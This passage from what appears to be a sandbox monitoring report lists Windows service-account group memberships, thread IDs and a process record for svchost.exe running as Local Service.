SERVICE\\EapHost" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xe], "NT SERVICE\\LanmanServer" [0xe], "NT SERVICE\\lfsvc" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\NcaSvc" [0xa], "NT SERVICE\\NetSetupSvc" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xe], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xe], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xe], "NT SERVICE\\UsoSvc" [0xe], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xe], "NT SERVICE\\wisvc" [0xe], "NT SERVICE\\wlidsvc" [0xe], "NT SERVICE\\WpnService" [0xe], "NT SERVICE\\wuauserv" [0xe], "S-1-5-80-603222039-1779857981-708438124-1730083285-3435298639" [0xa], "NT SERVICE\\XboxNetApiSvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:00009b46" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 248 os_tid = 0x90c Thread: id = 249 os_tid = 0xf20 Thread: id = 250 os_tid = 0xdfc Thread: id = 251 os_tid = 0x39c Thread: id = 252 os_tid = 0xa9c Thread: id = 253 os_tid = 0xbe8 Process: id = "25" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x51914000" os_pid = "0x3f4" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "rpc_server" parent_id = "15" os_parent_pid = "0x3c0" cmd_line = "C:\\WINDOWS\\System32\\svchost.exe -k LocalServiceNetworkRestricted" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NT AUTHORITY\\Local Service" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\AJRouter" [0xa], "NT SERVICE\\AppIDSvc" [0xa], "NT SERVICE\\Dhcp" [0xa], "NT SERVICE\\eventlog" [0xa], "NT SERVICE\\HomeGroupProvider" [0xa], "NT SERVICE\\icssvc" [0xa], "NT SERVICE\\lmhosts" [0xe], "NT SERVICE\\NgcCtnrSvc" [0xa], "NT SERVICE\\RmSvc" [0xa], "NT SERVICE\\TimeBrokerSvc" [0xa], "NT SERVICE\\TimeBroker" [0xa], "NT SERVICE\\vmictimesync" [0xa], "S-1-5-80-1495648203-2503502111-1597754693-3445174711-1316708627" [0xa], "NT SERVICE\\wscsvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:00009f65" [0xc000000f], "LOCAL" [0x7] Thread: id = 228 os_tid = 0xd60 Thread: id = 229 os_tid = 0xd00 Thread: id = 230 os_tid = 0xf04 Thread: id = 231 os_tid = 0xd38 Thread: id = 232 os_tid = 0xf9c Thread: id = 233 os_tid = 0xc38 Thread: id = 234 os_tid = 0x6cc Thread: id = 235 os_tid = 0xf70 Thread: id = 236 os_tid = 0xf58 Thread: id = 237 os_tid = 0x62c Thread: id = 238 os_tid = 0x464 Thread: id = 239 os_tid = 0x460 Thread: id = 240 os_tid = 0x450 Thread: id = 241 os_tid = 0x424 Thread: id = 242 os_tid = 0x420 Thread: id = 243 os_tid = 0x41c Thread: id = 244 os_tid = 0x410 Thread: id = 245 os_tid = 0x194 Thread: id = 246 os_tid = 0x198 Thread: id = 247 os_tid = 0x3f8 Thread: id = 257 os_tid = 0xd34 Thread: id = 259 os_tid = 0x704 Thread: id = 260 os_tid = 0xf2c Thread: id = 261 os_tid = 0x4b0 Thread: id = 262 os_tid = 0xd84 Thread: id = 263 os_tid = 0xfd0